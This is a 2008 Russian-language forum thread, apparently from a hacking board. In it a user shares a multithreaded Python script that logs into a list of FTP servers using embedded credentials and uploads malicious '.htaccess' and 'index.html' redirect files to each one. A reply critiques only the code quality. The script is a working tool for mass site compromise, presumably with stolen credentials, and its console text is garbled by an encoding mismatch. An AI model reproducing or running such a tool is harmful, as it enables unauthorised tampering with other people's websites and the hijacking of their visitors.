[Python] Заливка редиректов на FTP

Discussion in 'PHP' started by login999, 8 Dec 2008.

  1. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Вот накорябал скриптягу на Python для заливки редиректов на фтп, для работы нужны 1.htaccess и index.html с кодом редиректа (Идея взята из Чаковского скрипта), скрипт заточен под Win-консоль (заточка заключается в кодировке :)) Скрипт вроде кагбэ даже многопоточный.
    П.С. Время задержки зависит от вашего канала/количества потоков - так что с оптимальной величиной нужно поэкспериментировать.
    П.П.С. КОНСТРУКТИВНАЯ критика приветствуется (кому не нравится - не качаем)

    Code:
    #!/usr/bin/env python
    # -*- coding:Cp866 -*-
    import ftplib,time,urlparse,threading
    print "                          џ «оЎ«о «о¤Ґ©! (c) Dolphin"
    print ""
    ftp_list_file_name=raw_input("‚ўҐ¤ЁвҐ Ё¬п FTP-«Ёбв* :")
    thr_num=int(raw_input("‚ўҐ¤ЁвҐ Є®«ЁзҐбвў® Ї®в®Є®ў :"))
    del_time=int(raw_input("“Є*¦ЁвҐ ўаҐ¬п §*¤Ґа¦ЄЁ :"))
    def con_write():
        ftp_server=ftp_list.pop()[:-1]
        addr=urlparse.urlparse(ftp_server)
        try:
            con_serv=ftplib.FTP(addr.hostname,addr.username,addr.password,timeout=10)
            try:
                con_serv.storbinary("STOR .htaccess", open("1.htaccess"))
                print ".htaccess ў:" + addr.hostname+":"+addr.username+" б®еа**с* гбЇҐи*® "
            except Exception:
                print ".htaccess  ў:"+ addr.hostname+":"+addr.username+" *Ґ б®еа**Ґ*"
            try:
                con_serv.storbinary("STOR index.html", open("index.html"))
                print "index.html ў:" + addr.hostname+":"+addr.username+" б®еа**Ґ* гбЇҐи*®"
            except Exception:  
                print "index.html ў:"+ addr.hostname +":"+addr.username+" *Ґ б®еа**Ґ*"
            try:
                con_serv.quit
            except Exception:
                print "ЌҐ ¬®Јг §*Єалвм ᮥ¤Ё*Ґ*ЁҐ б FTP бҐаўҐа®¬"
            except Exception:
                print "ЋиЁЎЄ* §*ЇЁбЁ"
        except Exception:
              print "ЌҐ ¬®Јг Ї®¤Є«озЁвмбп Є FTP бҐаўҐаг"
    
    with open(ftp_list_file_name) as ftp_list:
            ftp_list=list(ftp_list)
            for x in ftp_list:
                while threading.activeCount() > thr_num:time.sleep(del_time)
                threading.Thread(target=con_write).start()
                while threading.activeCount() > thr_num:time.sleep(del_time)
                print threading.activeCount()
    print "‚лЈаг§Є* §*Є®*зҐ**"+" ў "+ time.strftime("%H:%M:%S %d:%m:%Y")
    
     
    1 person likes this.
  2. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> заточка заключается в кодировке

    Удобней выводить юникод-текст в консоль.

    А еще удобней было б задавать ftp_list_file_name, thr_num, del_time как параметры при запуске.

    Многопоточнось реализована некорректно. Правильнее будет использовать метод join, а не с помощью таких вот сравнений и засыпаний. )
     
    1 person likes this.